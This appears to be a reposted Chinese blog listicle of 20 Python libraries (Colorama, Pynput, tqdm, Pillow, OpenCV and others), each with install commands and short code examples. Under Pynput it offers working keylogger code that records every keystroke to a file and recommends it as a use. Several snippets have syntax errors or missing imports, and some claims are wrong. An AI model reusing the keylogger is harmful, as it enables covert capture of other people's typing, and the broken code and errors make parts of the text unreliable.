文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

你必须尝试的20个 Python 库

2024-12-03 13:14

关注

[[377041]]

在过去的一年半里我一直在使用 Python,我最喜欢 Python 的地方是它的 One-Liners 和 Packages,这也是我选择 Python 而不是其他语言的原因。

在本博客中,我将向您介绍20个非常有用的 Python 库,您必须尝试它们。让我们开始吧。

1. Colorama

Colorama 是一个用来使你的终端看起来更好 Python 库,它可以用来给终端添加颜色。

安装:pip install colorama

 

 

示例

2. Pynput

此库用于控制鼠标和键盘等外部设备的瞬间。使用一些简单的代码行,我们可以使用库来控制键盘和鼠标。此库的优秀应用程序是使用它创建一个键盘记录程序。下面的代码解释了使用库的键盘记录器的实现。

安装:pip install Pynput

  1. from pynput.keyboard import Key, Controller,Listener 
  2. import time 
  3. keyboard = Controller() 
  4. keys=[] 
  5. def on_press(key): 
  6.     global keys 
  7.     string = str(key).replace("'",""
  8.     keys.append(string) 
  9.     main_string = "".join(keys) 
  10.     print(main_string) 
  11.     if len(main_string)>15: 
  12.       with open('keys.txt''a'as f: 
  13.           f.write(main_string)    
  14.           keys= []      
  15. def on_release(key): 
  16.     if key == Key.esc: 
  17.         return False 
  18.  
  19. with Listener(on_press=on_press,on_release=on_release) as listener: 
  20.     listener.join() 

3. progress 和 tqdm

Progress:使用这个库,我们可以轻松地创建一个进度条。

安装:pip 安装进度

  1. from progress.bar import Bar 
  2. bar = Bar('Loading'max=20) 
  3. for i in range(20): 
  4.     # Any Task 
  5.     bar.next() 
  6. bar.finish() 

下面的动画显示了我们可以使用进度创建不同的条形图。

 


tqdm:它也做类似的工作,但是看起来更有效率,并且与现代编程保持同步。

安装:pip install tqdm

4. google trans

Googletrans 是一个免费的无限制的 python 库,它是 Google 翻译 API 的一个实现。使用这个库,只需要几行代码就可以创建一个语言翻译器。

安装:pip install googletrans

  1. from googletrans import Translator , LANGUAGES 
  2. from googletrans.models import Translated 
  3. language = list(LANGUAGES.values()) 
  4. translator = Translator() 
  5. translated=translator.translate(text="How are You??", src = 'english', dest = 'hindi'
  6. print(translated) 

您还可以进一步创建一个 GUI,将一种语言翻译成另一种语言。

5. google

谷歌库允许你搜索一个查询,找到相关的链接,并返回所有的链接。我们还可以自定义要返回的链接数量。

安装:pip install google

  1. from googlesearch import search 
  2. query = 'what is machine learning?' 
  3. for j in search(query, tld="co.in", num=1, stop=5, pause=2):  ## it will return a total of 5 links 
  4.     print(j) 

6. Pillow

Pillow 是一个用于图像处理的 python 库。它可以用来创建缩略图,转换文件格式,旋转,应用过滤器,显示图像,等等。如果您希望批量执行任务,那么它是一个理想的库。

安装:pip install pillow

为了快速了解这个库,下面是一些代码,您可以显示一个图像并将其更改为灰度。

  1. from PIL import Image, ImageOps 
  2. img1 = Image.open("img.png") ## Load a imge 
  3. img1.show() 
  4. img2 = ImageOps.grayscale(img1) ## gray scale 
  5. img2.show() 

原始图像向灰度的转换

7. wikipedia

Wikipedia 库允许我们通过 Python 脚本与 Wikipedia 进行交互。通过这个,我们可以在终端上搜索任何东西。

安装:pip install wikipedia

  1. import wikipedia 
  2. query = 'Narendra Modi' 
  3. results = wikipedia.summary(query, sentences=2) ## change the number of sentence to get a larger words summary 
  4. print(results) 

8. SpeechRecognition

SpeechRecognition 是一个用于识别语音并将其转换为文本的 Python 库。它在几个引擎和 api 的支持下识别语音。它甚至可以在离线模式下工作。

安装:pip install SpeechRecognition

下面的代码可以识别您的声音,将其转换成文本,然后在终端上打印出来。

  1. import speech_recognition as sr 
  2. r = sr.Recognizer() 
  3. with sr.Microphone() as source: 
  4.     t_end = time.time() + 5 
  5.     while time.time() < t_end: 
  6.         print("karl: Listening..."
  7.         audio=r.listen(source) 
  8.     try:     
  9.         query = r.recognize_google(audio) 
  10.         print(f"user:{query}"
  11.     except
  12.         print("Try Again"

9. IPython

这个库为我们提供了在终端、 Qt 控制台和通过 HTML 笔记本使用 IPython shell 的特性。这是三星笔记本的核心。你可以在这里找到完整的文档。下面我列出了一些 IPython 的特性。

10. wxpython


wxPython 是一个用于 python 的 GUI 工具包。它是许多计算机软件的强大包装器,可以在各种不同的平台上实现。它是一个跨平台的库。许多开发人员发现 wxPython 作为 Tkinter 的优质替代品非常有效。

11. Poetry

这是一个简单易用的 Python 软件包。它允许您管理 Python 打包和项目的版本控制。虽然你的项目依赖于许多库,但是 Poetry 可以让你很容易地控制它们。

安装:pip install poetry


12. Pygame

Pygame 是许多 python 开发人员的最爱。它用于使用 Python 创建游戏。它是一个跨平台的库,几乎可以在每个平台上使用。尽管它是一个成熟的游戏引擎,但您也可以使用这个库直接从 Python 脚本播放 MP3文件。它由计算机图形学和声音库组成。

在 PyGame 上编写的游戏和应用程序与所有 SDL 支持的操作系统兼容。它们也可以在机器人和平板电脑上运行。

安装:pip install pygame

PyGame 有自己的网站 PyGame. org,其中包括教程和安装说明。

13. Text Blob

TextBlob 是一个用于处理文本数据的 Python 库。它提供了一个简单的 API,用于深入研究常见的自然语言处理(NLP)任务,如词性标注、名词短语提取、情感分析、分类、翻译等。

安装:pip install textblob

  1. from textblob import TextBlob 
  2. testimonial = TextBlob("Textblob is amazingly simple to use. What great fun!"
  3. testimonial.sentiment 

14. OpenCV


OpenCV 是计算机视觉领域很受欢迎的库。它最初是用 C 和 C++ 编写的。现在也可以在 Python 中使用。它最初是由英特尔开发的。该库是一个跨平台的开源库。免费使用。OpenCV 是一个高度优化的库,主要关注实时应用程序。

安装:pip install opencv-python

15. win10 toast

它是一个易于使用的 Python 库,用于显示 Windows 10 Toast Notifications,这对于 Windows GUI 开发非常有用。

安装:pip install win10toast

应用:创建提醒应用程序

  1. from win10toast import ToastNotifier  
  2. toaster = ToastNotifier() 
  3. header = 'Medium Article' 
  4. text = 'Its the correct time to start writing your article' 
  5. toaster.show_toast(f"{header}",f"{text}",duration=10,threaded=True
  6. while toaster.notification_active(): time.sleep(0.005)  

16. playsound

顾名思义,这个库用于在 Python 中播放音频文件。

安装:pip install playsound

应用: 使用 Python 创建音乐播放器

  1. from playsound import playsound  
  2. playsound('PATH_TO_AUDIO_FILE'

17. webbrowser

这个 Python 包用于与网络浏览器交互。它用于在用户从命令行给出的浏览器中打开不同的链接。

安装:pip install webbrowser

应用:自动化你的日常工作应用

  1. import webbrowser 
  2. webbrowser.open("https://stackoverflow.com"

18. Python-dateutil

这个 Python 库是 Python datetime 模块的扩展,它提供了大量的特性和功能。

安装:pip install python-dateutil

  1. from dateutil.relativedelta import * 
  2. from dateutil.easter import * 
  3. from dateutil.rrule import * 
  4. from dateutil.parser import * 
  5. from datetime import * 
  6. now = parse("Tue 11 17:13:46 Dec UTC 2020"
  7. today = now.date() 
  8. year = rrule(YEARLY,dtstart=now,bymonth=8,bymonthday=13,byweekday=FR)[0].year 
  9. rdelta = relativedelta(easter(year), today) 
  10. print("Today is: %s" % today) 

19. Setuptools

这个 Python 库是 Python 中所有库的父类,它用于在 Python 中创建库。

安装:pip install setuptools

20. pyfiglet

Pyfiglet Python 库用于在终端中编写时髦的文本。这是我在创建 CLI 应用程序是最喜欢使用的软件包之一。

安装:pip install pyfiglet


 

来源:今日头条内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯